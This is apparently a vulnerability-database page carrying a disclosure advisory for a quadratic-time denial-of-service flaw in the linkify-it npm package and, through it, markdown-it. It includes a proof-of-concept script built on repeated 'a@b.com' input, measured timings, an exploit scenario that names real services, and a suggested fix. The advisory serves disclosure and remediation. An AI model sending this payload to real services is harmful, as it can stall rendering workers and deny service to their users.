Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Remote, low-complexity, unauthenticated trigger with no user interaction against services rendering untrusted input; impact is availability-only CPU exhaustion, so C:N/I:N/A:H.
Primary rating from Vendor (https://github.com/markdown-it/linkify-it).
CVSS VectorVendor: https://github.com/markdown-it/linkify-it
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
5Blast Radius
ecosystem impact- 13 npm packages depend on linkify-it (5 direct, 8 indirect)
Ecosystem-wide dependent count for version 5.0.1.
DescriptionCVE.org
Summary
LinkifyIt.prototype.match - the package's primary public API - has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails. This is not a regex backtrack bug; it's a structural issue in the JS-level scan loop that re-slices the input and re-runs unanchored regex searches on progressively shorter tails, N times.
64 KB of "a@b.com\n" repeated burns ~2.5 s of single-threaded CPU; 128 KB takes ~10 s. Doubling the input quadruples the time - textbook O(N²).
The same cost passes through markdown-it (linkify:true) unmodified. Any service that synchronously renders untrusted Markdown with linkify enabled on a request hot-path (forums, comments, chat, wikis, AI chat UIs) inherits a worker-process DoS triggerable by a tens-of-KB request body.
Affected component
- HEAD audited:
8e887d5bace3f5b09b1d1f70492fa0364ef1793d(v5.0.0) - Vulnerable function:
LinkifyIt.prototype.match-index.mjs:528-554 - Re-scan call sites inside
test():index.mjs:444(fuzzy host search),:448(fuzzy link match),:467(fuzzy email match) - Transitive consumer:
markdown-it(~21.6M weekly npm DLs) callslinkify.match()atlib/rules_core/linkify.mjs:57whenlinkify:true - All versions affected - the vulnerable loop exists since the initial commit (2014) through v5.0.0
Vulnerability details
The O(N²) outer loop
index.mjs:528-554:
LinkifyIt.prototype.match = function match (text) {
const result = []
let shift = 0
let tail = shift ? text.slice(shift) : text
while (this.test(tail)) {
result.push(createMatch(this, shift))
tail = tail.slice(this.__last_index__) // <-- re-allocates remaining tail each iteration
shift += this.__last_index__
}
if (result.length) return result
return null
}The loop iterates O(N) times (once per match). Each iteration:
tail.slice()re-allocates a string of length|text| - shift- O(N) per iterationthis.test(tail)runs three unanchored regex searches over the full newtail:
// index.mjs:444 - full-tail search
tld_pos = text.search(this.re.host_fuzzy_test)
// index.mjs:448 - full-tail match
ml = text.match(this.re.link_fuzzy)
// index.mjs:467 - full-tail match
me = text.match(this.re.email_fuzzy)Total cost: Σ(N - i*c) for i=0..N = O(N²).
Contrast with the linear schema branch
The schema-prefixed scan in the same test() function does it correctly at index.mjs:428-440:
re = this.re.schema_search
re.lastIndex = 0
while ((m = re.exec(text)) !== null) { ... }That branch uses a g-flag RegExp and advances lastIndex - linear. The fuzzy branches don't follow this pattern.
Proof of concept
mkdir /tmp/linkifyit-redos && cd /tmp/linkifyit-redos
npm install linkify-it@5.0.0
cat > poc.mjs <<'EOF'
import LinkifyIt from 'linkify-it'
const l = new LinkifyIt()
for (const n of [1000, 2000, 4000, 8000, 16000]) {
const evil = 'a@b.com\n'.repeat(n)
const t0 = process.hrtime.bigint()
l.match(evil)
const ms = Number(process.hrtime.bigint() - t0) / 1e6
console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)
}
EOF
node poc.mjsMeasured output (Node v25.5.0, Apple Silicon)
n=1000 bytes=8000 took 44 ms
n=2000 bytes=16000 took 159 ms
n=4000 bytes=32000 took 628 ms
n=8000 bytes=64000 took 2506 ms
n=16000 bytes=128000 took 9948 msDoubling N → ~4× wall-clock, consistent with O(N²).
markdown-it transitive (independently confirmed)
npm install markdown-it@14.1.1
node -e "
const md = require('markdown-it')({ linkify: true })
for (const n of [1000, 2000, 4000, 8000]) {
const evil = 'a@b.com '.repeat(n)
const t0 = process.hrtime.bigint()
md.render(evil)
const ms = Number(process.hrtime.bigint() - t0) / 1e6
console.log('n=' + n + ' bytes=' + evil.length + ' md.render=' + ms.toFixed(0) + 'ms')
}
"n=1000 bytes=8000 md.render=45ms
n=2000 bytes=16000 md.render=171ms
n=4000 bytes=32000 md.render=672ms
n=8000 bytes=64000 md.render=2636msSame quadratic curve. 64 KB is enough to burn 2.6 s in markdown-it.render().
Impact
- Availability (High): A single HTTP request containing tens of KB of repeated email-like strings blocks one worker thread for seconds to tens of seconds. Under moderate concurrency (10-50 requests), the entire rendering tier of an affected service is wedged.
- No confidentiality or integrity impact.
Real-world scenario: Any service that renders untrusted Markdown with linkify:true on the request path - Discourse, Mattermost, GitLab CE, AI chat UIs (Open WebUI, LibreChat), wiki/note apps using markdown-it - receives a post/comment containing 64 KB of "a@b.com ". The render call blocks the worker for 2.5+ seconds. Scripted at scale, this wedges the rendering tier.
Suggested remediation
The fix is algorithmic - convert the outer scan loop to stateful regex iteration so each character is examined a constant number of times:
- Add the
gflag toemail_fuzzy,link_fuzzy,link_no_ip_fuzzy,host_fuzzy_testinlib/re.mjs - Rewrite
test()(or addtestAt(text, pos)) so fuzzy branches setre.lastIndex = posand callre.exec(text)instead oftext.match()/text.search()on a sliced tail - In
match(), droptail = tail.slice(...)entirely - advance aposoffset instead
The schema branch at index.mjs:428-440 is already structured this way - it's the in-repo precedent for the fix.
// proposed sketch
LinkifyIt.prototype.match = function match (text) {
const result = []
let pos = 0
while (this.testAt(text, pos)) {
result.push(createMatch(this, 0))
pos = this.__last_index__
}
return result.length ? result : null
}Total cost becomes O(N): each character scanned at most once per regex across the whole loop.
Duplicate-risk analysis
- Zero GHSAs on
linkify-it(gh api /repos/markdown-it/linkify-it/security-advisories→[]) - Zero OSV entries (
api.osv.dev/v1/query→{}) - markdown-it's only GHSA (CVE-2022-21670, "Possible ReDOS in newline rule") targets markdown-it's own newline regex, not the linkify pipeline
This finding appears novel.
Note to maintainers
Since markdown-it is the dominant consumer and shares maintainership (Vitaly Puzrin), a patched linkify-it release should be paired with a markdown-it minor that pins the new minimum version.
AnalysisAI
Denial of service in linkify-it (npm) through v5.0.0 lets remote unauthenticated attackers wedge a rendering worker by submitting tens of KB of repeated email/link-like text. The core public API LinkifyIt.prototype.match runs an O(N²) scan loop that re-slices the input and re-runs unanchored fuzzy regex searches once per match, so 64 KB of "a@b.com" burns ~2.5 s of single-threaded CPU and 128 KB ~10 s. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The vulnerable code path is only reached when the application invokes linkify-it's fuzzy matching on attacker-controlled text - concretely, calling LinkifyIt.prototype.match()/test(), or using markdown-it with the linkify:true option so the linkify core rule runs. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The signals are internally consistent and point to a genuine but availability-only issue. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker posts a comment, chat message, or wiki edit containing ~64 KB of repeated "a@b.com " to a service that renders untrusted Markdown with linkify:true; the synchronous render call blocks one worker thread for ~2.5 seconds. Because the vector is remote, low-complexity, and unauthenticated (AV:N/AC:L/PR:N/UI:N), the attacker scripts this at modest concurrency (10-50 requests) to wedge the entire rendering tier. … |
| Remediation | Vendor-released patch: linkify-it 5.0.1 - upgrade the dependency directly, and for markdown-it deployments update the transitive resolution (e.g. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify all systems using markdown-it or linkify-it and verify if linkify detection is enabled, especially in customer-facing chat, forums, and AI interfaces. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat
The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se
Same technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-44454
GHSA-22p9-wv53-3rq4